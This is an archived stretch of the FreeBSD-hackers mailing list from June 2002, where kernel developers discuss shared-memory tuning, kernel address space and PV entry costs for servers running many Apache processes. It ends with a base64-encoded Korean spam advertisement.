------=_NextPart_000_001B_01C21C81.592A79B0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 23: 7:11 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 2F10437B430 for ; Tue, 25 Jun 2002 23:06:09 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5Q61I723107; Tue, 25 Jun 2002 23:01:38 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Tue, 25 Jun 2002 23:01:18 -0700 (PDT) From: Patrick Thomas To: Terry Lambert Cc: Peter Wemm , Alfred Perlstein , Subject: Re: tunings for many httpds... In-Reply-To: <3D190FFA.C7AE70BF@mindspring.com> Message-ID: <20020625225929.U68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > Uhh, Terry, neither form of SHM uses KVA. Either pageable or physically > > backed. The memory is only mapped into processes and is NOT mapped into > > KVA anywhere. (*) > > You and Alfred are right. > > It looks like this was corrected by John Dyson, shortly after he > had checked it in to work that way. So the conclusion is that: sysctl kern.ipc.shm_use_phys=1 Is not even potentially a magic bullet for the issue I am seeing (since either way, all those greatly increased SHM/SEM settings I added are not using KVA) ?? thanks, PT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 23:15:26 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 980E037B4D6 for ; Tue, 25 Jun 2002 23:11:00 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5Q67UJ23296; Tue, 25 Jun 2002 23:07:30 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Tue, 25 Jun 2002 23:07:30 -0700 (PDT) From: Patrick Thomas To: Peter Wemm Cc: Terry Lambert , Alfred Perlstein , Subject: Re: tunings for many httpds... In-Reply-To: <20020626023154.A70723910@overcee.wemm.org> Message-ID: <20020625230407.B68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Incidently, looking at the PV entry angle for a moment. Suppose you > create a 1GB sysvshm (pageable) segment. That's 262144 pages. Mapping this > once means you consume 262144 PV entries. At 28 bytes each, that is > about 7.3MB of KVM. Now, fork this process 300 times. The numbers become > 78643200 PV entries taking up about 2.2GB of PV entries that would like to fit > in the 1G KVA space. We dont even nearly have a way to fit all this in. > > This is the killer reason for SHM_PHYS stuff. It avoids the PV load which > has to fit into a single confined space. The cost of the page table pages > sucks, but at least that is spread over the VM space of 300 processes. Ok, I'm confused now - so I understood you to originally say that SHM does not eat into KVA regardless of whether I set the kern.ipc.shm_use_phys to '1' or not. This leads me to conclude that setting that sysctl to 1 will probably not be the magic bullet to stop my system from inexplicably halting. (my system with greatly (4x) increased SHM/SEM/etc. settings) But now in this post ... are you saying that from the "PV entry angle" that KVA _is_ sometimes used for SHM, when we create a pageable segment ? Or are you just providing a thought experiment and pointing out that if it _were_ done this way then XYZ bad things would occur ? thanks, PT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 23:24:20 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.wemm.org (12-232-114-102.client.attbi.com [12.232.114.102]) by hub.freebsd.org (Postfix) with ESMTP id 5B30637B43F for ; Tue, 25 Jun 2002 23:24:05 -0700 (PDT) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id C11ED3811; Tue, 25 Jun 2002 23:24:09 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Patrick Thomas Cc: Terry Lambert , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... In-Reply-To: <20020625230407.B68572-100000@utility.clubscholarship.com> Date: Tue, 25 Jun 2002 23:24:09 -0700 From: Peter Wemm Message-Id: <20020626062409.C11ED3811@overcee.wemm.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > > > Incidently, looking at the PV entry angle for a moment. Suppose you > > create a 1GB sysvshm (pageable) segment. That's 262144 pages. Mapping thi s > > once means you consume 262144 PV entries. At 28 bytes each, that is > > about 7.3MB of KVM. Now, fork this process 300 times. The numbers become > > 78643200 PV entries taking up about 2.2GB of PV entries that would like to fit > > in the 1G KVA space. We dont even nearly have a way to fit all this in. > > > > This is the killer reason for SHM_PHYS stuff. It avoids the PV load which > > has to fit into a single confined space. The cost of the page table pages > > sucks, but at least that is spread over the VM space of 300 processes. > > Ok, I'm confused now - so I understood you to originally say that SHM does > not eat into KVA regardless of whether I set the kern.ipc.shm_use_phys to > '1' or not. > > This leads me to conclude that setting that sysctl to 1 will probably not > be the magic bullet to stop my system from inexplicably halting. (my > system with greatly (4x) increased SHM/SEM/etc. settings) > > But now in this post ... are you saying that from the "PV entry angle" > that KVA _is_ sometimes used for SHM, when we create a pageable segment ? > > Or are you just providing a thought experiment and pointing out that if it > _were_ done this way then XYZ bad things would occur ? PV entries are normally used for user virtual mapping space. Be it mmap, sysvshm, whatever. Massive sharing uses an additional set of PV entries for each copy shared even though the same pages are used in both processes. This can add up, eg: when you have large (1G-ish) mappings mapped several hundred times on *pageable* space. No, SHM does not eat into KVA for the SHM data pages themselves. The use_phys effectively turns the data pages into un-pageable (ie: cannot ever be swapped out to disk, no matter what) space so that PV entries are not used either. We run into these problems at work with large mmap segments. a 1.5 to 2GB file mapped into 200 apaches will bring a machine to its knees. Anyway, if you have a single process in an event loop instead of an apache style massive-fork model, then you do not hit this problem at all. Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 0:46:16 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by hub.freebsd.org (Postfix) with ESMTP id 1559D37B400 for ; Wed, 26 Jun 2002 00:46:11 -0700 (PDT) Received: from pool0159.cvx21-bradley.dialup.earthlink.net ([209.179.192.159] helo=mindspring.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 17N7Uv-0003YU-00; Wed, 26 Jun 2002 00:45:53 -0700 Message-ID: <3D1970E7.697D4A49@mindspring.com> Date: Wed, 26 Jun 2002 00:44:40 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Peter Wemm Cc: Matthew Dillon , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625222632.B7C7D3811@overcee.wemm.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Peter Wemm wrote: > > Even more importantly it would be nice if we could share compatible > > pmap pages, then we would have no need for 4MB pages... 50 mappings > > of the same shared memory segment would wind up using the same pmap > > pages as if only one mapping had been made. Such a feature would work > > for SysV shared memory and for mmap()s. I've looked at doing this > > off and on for two years but do not have a sufficient chunk of time > > available yet. > > SVR4/Solaris/Digital Unix^H^H^H^H^H^HTru64 do this by having an additional > layer between VM and pmap. The equivalent of our pmap is just another one > of the address space handlers. The SHM stuff etc is often implemented such > that it grabbed blocks of 4MB address space to manage in a way that it > likes. This means it constructs its own page tables etc in such a way that > they are suitable for common use. *If* I recall correctly, in SunOS/SVR4/ > Solaris parlance this is the segment layer. Naturally there is quite a bit > of variation. It has been a long long time since I looked at this. Linux 2.4 has this with their "rmap" patch. Alan Cox compares the VM system performance as "similar to what I see with FreeBSD". They are coming from a perspective of sharing all page mappings by pointing them at the same entries, without a reverse lookup mechanism (this is what the "rmap" patches add, the reverse lookup; linux has always shared equivalent page mappings). The reverse lookup maintains a linked list (for some reason, this is 12 bytes -- don't know why yet) that is a list of the PTE references to the mapping. So the reverse means going backwards and doing a linear list traversal if the pages are shared (they usually are, for code pages for any program that's running more than one instance). For page waits, they use a shared hash, and then wake up processes unnecessarily, but they expect the contention to be minimal (they estimate 4-8% overhead under extreme load with quantum at 100ms). Doing this in FreeBSD would probably confuse the heck out of the exiting page discard code's LRU determination (among other things), but it's probably worth it, for the cases you've mentioned. I think the extra overhead in the unloaded case is in the noise, and in the loaded case, well worth the trade. I don't know how the PAE code you were rumored to be doing stands; if there were plans to put the PTE's for the process in the bank with the program pages that were running there, then doing this might prevent that from working very well, if those entries had to be shared with entries in another bank. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 0:58:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 59B6637B405 for ; Wed, 26 Jun 2002 00:58:26 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5Q7wQl1019101; Wed, 26 Jun 2002 00:58:26 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5Q7wPgZ019100; Wed, 26 Jun 2002 00:58:25 -0700 (PDT) (envelope-from dillon) Date: Wed, 26 Jun 2002 00:58:25 -0700 (PDT) From: Matthew Dillon Message-Id: <200206260758.g5Q7wPgZ019100@apollo.backplane.com> To: Terry Lambert Cc: Peter Wemm , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625222632.B7C7D3811@overcee.wemm.org> <3D1970E7.697D4A49@mindspring.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hmm. I'm fairly sure that Linux does not quite do it that way. I believe the 2-level page tables are copy-on-write, but that only gives you shareability across a fork() and then only for a little while. I'm fairly certain that Linux cannot share page tables for post-fork modifications (like when you mmap() or get a SysV shared segment). The rmap patches are roughly equivalent to our i386 pmap code and allow Rik to implement page queues and proper page aging. -Matt Matthew Dillon :Peter Wemm wrote: :> > Even more importantly it would be nice if we could share compatible :> > pmap pages, then we would have no need for 4MB pages... 50 mappings :> > of the same shared memory segment would wind up using the same pmap :> > pages as if only one mapping had been made. Such a feature would work :> > for SysV shared memory and for mmap()s. I've looked at doing this :> > off and on for two years but do not have a sufficient chunk of time :> > available yet. :> :> SVR4/Solaris/Digital Unix^H^H^H^H^H^HTru64 do this by having an additional :> layer between VM and pmap. The equivalent of our pmap is just another one :> of the address space handlers. The SHM stuff etc is often implemented such :> that it grabbed blocks of 4MB address space to manage in a way that it :> likes. This means it constructs its own page tables etc in such a way that :> they are suitable for common use. *If* I recall correctly, in SunOS/SVR4/ :> Solaris parlance this is the segment layer. Naturally there is quite a bit :> of variation. It has been a long long time since I looked at this. : :Linux 2.4 has this with their "rmap" patch. Alan Cox compares the :VM system performance as "similar to what I see with FreeBSD". : :They are coming from a perspective of sharing all page mappings :by pointing them at the same entries, without a reverse lookup :mechanism (this is what the "rmap" patches add, the reverse lookup; :linux has always shared equivalent page mappings). : :The reverse lookup maintains a linked list (for some reason, this :is 12 bytes -- don't know why yet) that is a list of the PTE references :to the mapping. So the reverse means going backwards and doing a :linear list traversal if the pages are shared (they usually are, for :code pages for any program that's running more than one instance). : :For page waits, they use a shared hash, and then wake up processes :unnecessarily, but they expect the contention to be minimal (they :estimate 4-8% overhead under extreme load with quantum at 100ms). : :Doing this in FreeBSD would probably confuse the heck out of the :exiting page discard code's LRU determination (among other things), :but it's probably worth it, for the cases you've mentioned. I think :the extra overhead in the unloaded case is in the noise, and in the :loaded case, well worth the trade. : :I don't know how the PAE code you were rumored to be doing stands; :if there were plans to put the PTE's for the process in the bank :with the program pages that were running there, then doing this :might prevent that from working very well, if those entries had to :be shared with entries in another bank. : :-- Terry : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 1:29:37 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by hub.freebsd.org (Postfix) with ESMTP id C126B37B401 for ; Wed, 26 Jun 2002 01:29:33 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g5Q7KZR16644 for ; Wed, 26 Jun 2002 00:20:35 -0700 (PDT) Received: from pool0159.cvx21-bradley.dialup.earthlink.net ([209.179.192.159] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17N76A-00056k-00; Wed, 26 Jun 2002 00:20:18 -0700 Message-ID: <3D196AEA.3229476@mindspring.com> Date: Wed, 26 Jun 2002 00:19:06 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: Peter Wemm , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625225929.U68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > > > Uhh, Terry, neither form of SHM uses KVA. Either pageable or physically > > > backed. The memory is only mapped into processes and is NOT mapped into > > > KVA anywhere. (*) > > > > You and Alfred are right. > > > > It looks like this was corrected by John Dyson, shortly after he > > had checked it in to work that way. > > So the conclusion is that: > > sysctl kern.ipc.shm_use_phys=1 > > Is not even potentially a magic bullet for the issue I am seeing (since > either way, all those greatly increased SHM/SEM settings I added are not > using KVA) ?? It will save some KVA, especially after forks, as Peter pointed out. But it's unlikely at this point, given the off-list issues, that your problem is KVA space, particularly since it's happening at the same time very day. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 1:41: 9 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by hub.freebsd.org (Postfix) with ESMTP id 4414837B404 for ; Wed, 26 Jun 2002 01:41:01 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g5Q7OxR18790 for ; Wed, 26 Jun 2002 00:24:59 -0700 (PDT) Received: from pool0159.cvx21-bradley.dialup.earthlink.net ([209.179.192.159] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17N7Ag-000009-00; Wed, 26 Jun 2002 00:24:58 -0700 Message-ID: <3D196C02.75AE4256@mindspring.com> Date: Wed, 26 Jun 2002 00:23:46 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: Peter Wemm , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625230407.B68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > Ok, I'm confused now - so I understood you to originally say that SHM does > not eat into KVA regardless of whether I set the kern.ipc.shm_use_phys to > '1' or not. Don't be confused. It takes 1/1024th of the KVA space I thought it did, times the number of processes atached to the segment. Setting the sysctl reduces this overhead by getting rid of the swap mappings. You can try it. I don't expect it to work. The reason I don't expect it to work is that without the sysctl, it's allocating swappable memory, and you are never getting to the point where you are seeing any swapping, therefore it probably won't matter. Q: Has the machine where you've gone to a 2G KVA crashed at the appointed hour yet? -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 2:48:48 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id 340D537B407 for ; Wed, 26 Jun 2002 02:48:39 -0700 (PDT) Received: from pool0122.cvx22-bradley.dialup.earthlink.net ([209.179.198.122] helo=mindspring.com) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17N9P8-0000sy-00; Wed, 26 Jun 2002 02:48:02 -0700 Message-ID: <3D198D71.86779927@mindspring.com> Date: Wed, 26 Jun 2002 02:46:25 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: Peter Wemm , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625222632.B7C7D3811@overcee.wemm.org> <3D1970E7.697D4A49@mindspring.com> <200206260758.g5Q7wPgZ019100@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon wrote: > Hmm. I'm fairly sure that Linux does not quite do it that way. I > believe the 2-level page tables are copy-on-write, but that only > gives you shareability across a fork() and then only for a little > while. I'm fairly certain that Linux cannot share page tables > for post-fork modifications (like when you mmap() or get a SysV > shared segment). The rmap patches are roughly equivalent to our > i386 pmap code and allow Rik to implement page queues and proper page > aging. I wasn't saying that they were shared on the mmap(); Peter had suggested it for FreeBSD. Also "a little while" is relative; as long as you don't write the page, it should stay shared. That basically means that all instances of apache share mappings on the code pages. Here's the article I was reading in one window while typing in the other. It's linked off the article reference I posted to -arch earlier: http://old.lwn.net/2002/0124/kernel.php3 "What Rik van Riel is up to." FWIW: In the original Article: http://lwn.net/Articles/3327/ they say they've gon to a 3 level page table scheme for the Hammer port. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 9:53:29 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id B729937B401 for ; Wed, 26 Jun 2002 09:53:26 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 882B4AE03F; Wed, 26 Jun 2002 09:53:26 -0700 (PDT) Date: Wed, 26 Jun 2002 09:53:26 -0700 From: Alfred Perlstein To: Patrick Thomas Cc: Terry Lambert , Peter Wemm , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... Message-ID: <20020626165326.GC18877@elvis.mu.org> References: <3D190FFA.C7AE70BF@mindspring.com> <20020625225929.U68572-100000@utility.clubscholarship.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020625225929.U68572-100000@utility.clubscholarship.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Patrick Thomas [020625 23:06] wrote: > > > > Uhh, Terry, neither form of SHM uses KVA. Either pageable or physically > > > backed. The memory is only mapped into processes and is NOT mapped into > > > KVA anywhere. (*) > > > > You and Alfred are right. > > > > It looks like this was corrected by John Dyson, shortly after he > > had checked it in to work that way. > > So the conclusion is that: > > sysctl kern.ipc.shm_use_phys=1 > > Is not even potentially a magic bullet for the issue I am seeing (since > either way, all those greatly increased SHM/SEM settings I added are not > using KVA) ?? Without kern.ipc.shm_use_phys=1 you will use more KVA, however do realize that with it the shared memory is non-pageable, meaning it can not be swapped out if something else needs the RAM. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 10:13:58 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 479C437B62A for ; Wed, 26 Jun 2002 10:11:55 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5QHBsl1021463; Wed, 26 Jun 2002 10:11:54 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5QHBsFH021462; Wed, 26 Jun 2002 10:11:54 -0700 (PDT) (envelope-from dillon) Date: Wed, 26 Jun 2002 10:11:54 -0700 (PDT) From: Matthew Dillon Message-Id: <200206261711.g5QHBsFH021462@apollo.backplane.com> To: Terry Lambert Cc: Peter Wemm , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020625222632.B7C7D3811@overcee.wemm.org> <3D1970E7.697D4A49@mindspring.com> <200206260758.g5Q7wPgZ019100@apollo.backplane.com> <3D198D71.86779927@mindspring.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG : http://old.lwn.net/2002/0124/kernel.php3 : "What Rik van Riel is up to." : :FWIW: In the original Article: : : http://lwn.net/Articles/3327/ : :they say they've gon to a 3 level page table scheme for the Hammer :port. : :-- Terry They are still using a 2 level page table scheme in the linux kernel. That is, they didn't try to integrate the 3-level hardware in the hammer with the 2 level kernel representation. What they did was create a fixed third level (or a fixed first level depending on how you look at it). As far as Linux is concerned it is still a two-level page table. This did simplify other areas of the kernel, e.g. no need for 'himem' because all of physical memory is linearly mapped into KVM, but the actual mechanism is not all that complex. I think that in general the linux folks have found the copy-on-write page table sharing to be less effective then they hoped. The only advantage seems to occur with fork(). The programs that really need it, like databases, do not share data via fork() but instead use mmap() or SysV shared memory. Both Linux and FreeBSD wind up being in the same boat. Being able to proactively share page table pages will solve the problem for both systems. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jun 26 11:22:15 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from relay4.kornet.net (relay4.kornet.net [211.48.62.164]) by hub.freebsd.org (Postfix) with ESMTP id 69A6A37B401 for ; Wed, 26 Jun 2002 11:20:26 -0700 (PDT) Received: from your-afc98a0fg0 (61.73.55.125) by relay4.kornet.net; 27 Jun 2002 03:20:22 +0900 Message-ID: <3d1a05e73d2aa7f0@relay4.kornet.net> (added by relay4.kornet.net) From: =?ks_c_5601-1987?B?RUaxucGmvvC+7sfQsbM=?= To: freebsd-hackers@freebsd.org Subject: =?ks_c_5601-1987?B?W7GksO1dIGZyZWVic2QtaGFja2Vyc7TUICC+8L7uv6y89rimILDoyLnHz7DtILDovcq0z7HuPw==?= Date: Thu, 27 Jun 2002 03:20:17 +0900 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0037_01C0F20A.93A17C00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0037_01C0F20A.93A17C00 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 MSC9ur/+tafAuyDG98fUx8+/qSDA/CC8vLDoILjwtecgu+e5q73HwLsgwfe/tcfUwLi3ziDD pcDTwNa0wiC+9rDdx9EgvK268b26IMGmsPguZzEge2ZvbnQtZmFtaWx5IDogIrG8uLIiOyBm b250LXNpemUgOiA5cHQ7IGxpbmUtaGVpZ2h0OjExcHQ7fS5nMiB7Zm9udC1mYW1pbHkgOiAi sby4siI7IGZvbnQtc2l6ZSA6IDEycHQ7IGxpbmUtaGVpZ2h0OjE2cHQ7fS5nMyB7Zm9udC1m YW1pbHkgOiAisby4siI7IGZvbnQtc2l6ZSA6IDlwdDsgbGluZS1oZWlnaHQ6MTFwdDt9LmUx IHtmb250LWZhbWlseSA6ICJhcmlhbCwgaGVsdmV0aWNhLCBtcyBzYW5zIHNlcmlmIiA7IGZv bnQtc2l6ZSA6IDlwdDsgbGluZS1oZWlnaHQ6MTFwdDt9LnNiYnRuMDF7Y29sb3IgOiAjZmZm ZmY3OyBiYWNrZ3JvdW5kLWNvbG9yOiAjNTI4Y2E1OyBjdXJzb3I6aGFuZDsgZm9udC1zaXpl OiAxMHB0OyBmb250LXdlaWdodDogYm9sZDsgfUlOUFVUIHtiYWNrZ3JvdW5kLWNvbG9yOiAj ZmZmZmY3OyBjb2xvcjpibGFjaztGT05ULXNpemU6IDEwcHQ7fVNFTEVDVCB7YmFja2dyb3Vu ZC1jb2xvciA6ICNmZmZmZjc7IH0NCiAgIA0KDQogICAgDQogIFu+yCCzu10gICCxzcfPwMcg uN7Az8HWvNK0wiDApbytx87B3yC+y7DUtciwzcDMuOcsILjewM/B1rzSv9y/oSwgtNm4pSAg waS6uLTCILCusO0gwNbB9iC+yr3AtM+02S4gwMy43sDPwLogud+9xcD8v+u43sDPwMy45yDB pMXrus4gscew7bvnx9e/ocDHsMUgW7GksO1dtvOw7SDHpbHix9EguN7Az8DUtM+02S4gvPa9 xbDFus64piC6uLO7wda9w7jpILTZvcO0wiC6uLO7tMIgwM/AzCC++LW1t88gx8+w2r3AtM+0 2S4gDQoNCg0KIA0KIA0KICAgIEVGtMIgIEVkdWNhdGlvbiBGaXJzdMDHIL7gwNq3ziA2NbPi IL26v/61p7+hvK0gvLO4s7XIILy8sOggw9a068DHIL7ux9Agv6y89iDH0LGzwNS0z7TZLiAg DQogICDH2LTnIL7wvu6woSC757/rtce0wiCzqrbzv6G8rSCw+LrOx8+46bytIL7wvu4gx9C9 wLD6ILytt84gtNm4pSC5rsitw7zH6MC7ICDF68fYILOqtvO/zSANCiAgILOqtvOwoywguc7B t7D6ILnOwbewo7+hILHXvu7BriDA1rTCIMDluq7AuyDH47mwwNq0wiCwzcDMIEVGwMcguPDF 5MDUtM+02S4NCiANCiAgICAgIMi4u+cgILzSsLMgICAgICAgIEVGICDB9rvnvNKwsyAgICAg ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiANCiDDu7zS s+IgIL7ux9Agv6y89iA6IDPB1iC+7sfQIL+svPYgKyAxwdYgsPyxpCANCiC03LHiICCw+sGk IDogIDI0vcOwoyC/3LG5vu63zri4ILv9yLDH0iAgvPYgwNa0wiDIr7DmsPogv/i+7rnOILGz vPbB+CANCiA4fjkgILCzv/kgwOWx4iCw+sGkIDogwf3B38D7wM4gvvC+7rz2vvew+iDH9sH2 ILmuyK0gw7zH6Cwgv9W6ucfXsPi34bChIMb3x9S1yCDA+rfFx9EguvG/6w0KucyxuSAgsPi4 s7Dtte7H0LGzILGzyK8gx9C7/SA6IMf2wfYgwNq/+LrAu+cguc652rChwaS/obytwMcgvPe9 xLD6IMf2wfYgx9C7/bXpsPogsPi6zg0KICAgICANCg0KDQogDQogIA0KIA0K ------=_NextPart_000_0037_01C0F20A.93A17C00 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 